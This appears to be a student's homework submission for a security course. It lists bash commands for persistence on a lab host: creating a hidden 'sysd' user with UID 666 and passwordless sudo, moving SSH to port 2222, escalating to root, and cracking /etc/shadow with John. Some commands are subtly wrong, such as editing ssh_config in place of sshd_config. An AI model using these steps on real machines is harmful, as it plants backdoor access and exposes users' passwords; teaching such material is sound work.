**Week 6 Homework Submission File**

**Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

**sudo adduser --system --no-create-home sysd**

1. Give your secret user a password:

**passwd sysd**

1. Give your secret user a system UID < 1000:

**usermod -u 666 sysd**

1. Give your secret user the same GID:

**groupmod -g 666 nogroup**

1. Give your secret user full sudo access without the need for a password:

﻿**visudo**

**sysd ALL=(ALL:ALL) NOPASSWD:ALL**

**ls /home**

1. Test that sudo access works without your password:

﻿**usermod -s /bin/bash sysd**

**su sysd**

**sudo -l**

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

**nano /etc/ssh/ssh\_config**

**Port 2222**

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

**sudo systemctl restart sshd**

1. Exit the root account:

**Exit**

1. SSH to the target machine using your sysd account and port 2222:

**ssh sysd@192.168.6.105 -p 2222**

1. Use sudo to switch to the root user:

**sudo su**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:

**ssh sysd@192.168.6.105 -p 2222**

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

**John/etc/shadow**